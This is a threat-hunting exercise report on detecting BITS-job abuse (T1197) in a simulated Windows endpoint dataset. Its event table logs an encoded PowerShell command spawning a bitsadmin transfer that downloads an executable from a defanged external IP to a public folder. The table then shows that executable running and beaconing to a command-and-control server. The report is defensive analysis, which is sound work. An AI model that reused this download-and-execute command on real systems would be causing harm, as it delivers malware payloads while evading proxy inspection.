← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Windows BITSAdmin LOLBIN Payload Download Dataset

This hunt uses a simulated endpoint dataset (windows_bitsadmin_2022-08-09T090000.json) capturing T1197: BITS Jobs, where an attacker abuses the Background Intelligent Transfer Service (via bitsadmin.exe or the BITS COM interface) to download a second-stage payload, since BITS transfers are throttled, resumable, and often excluded from egress inspection.

Step 1: Hypothesis Formation

Hypothesis: bitsadmin.exe (or a process invoking the BITS COM API) creates a transfer job that downloads an executable from an external URL to a local path, followed by execution of the downloaded file. Indicators:

Null Hypothesis: A legitimate software update mechanism (e.g., Windows Update, an enterprise patch tool) is using BITS as designed. Invalidate by confirming the destination URL is not a Microsoft/vendor update endpoint and that no corresponding patch deployment ticket exists.

Rationale: BITS jobs persist across reboots, throttle to avoid triggering bandwidth-anomaly alerts, and are frequently allow-listed by proxies as "Windows Update-related" traffic - this hunt validates BITS job auditing as a detection layer for a technique specifically chosen to blend into normal OS update noise.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm a PowerShell-launched BITS job downloaded and executed a payload from a non-corporate domain, disguised as a Windows update component.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-08-09 09:00:05WKS-HR-027Sysmon 1 - Process Createpowershell.exe -enc <base64> spawns bitsadmin.exe /transfer winupd /download /priority high hxxp://185.220.101.45/svc.exe C:\Users\Public\svc.exeLOLBIN IOC: BITS invoked via script with a job name ("winupd") mimicking legitimate Windows Update naming to blend in.
2022-08-09 09:00:06WKS-HR-027BITS-Client 3 (Job Created)TransferId registered, priority=HIGH, throttled per BITS defaultsEvasion IOC: BITS traffic is frequently excluded from proxy inspection under "OS update" allow-lists.
2022-08-09 09:01:48WKS-HR-027BITS-Client 59 (Job Complete)2.3 MB transferred from 185.220.101.45, a known Tor-exit-adjacent hosting rangeDestination IOC: source IP has no association with Microsoft or any approved software vendor.
2022-08-09 09:01:50WKS-HR-027Sysmon 11 - File CreateC:\Users\Public\svc.exe writtenLocation IOC: world-writable public folder, not a standard installation path.
2022-08-09 09:02:05WKS-HR-027Sysmon 1 - Process Createsvc.exe executed, immediately beacons to 185.220.101.45:443Execution IOC: downloaded payload executed within 15 seconds of transfer completion and established C2 callback.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker used an encoded PowerShell command to create a BITS transfer job that downloaded and executed a C2 payload disguised as a Windows Update component!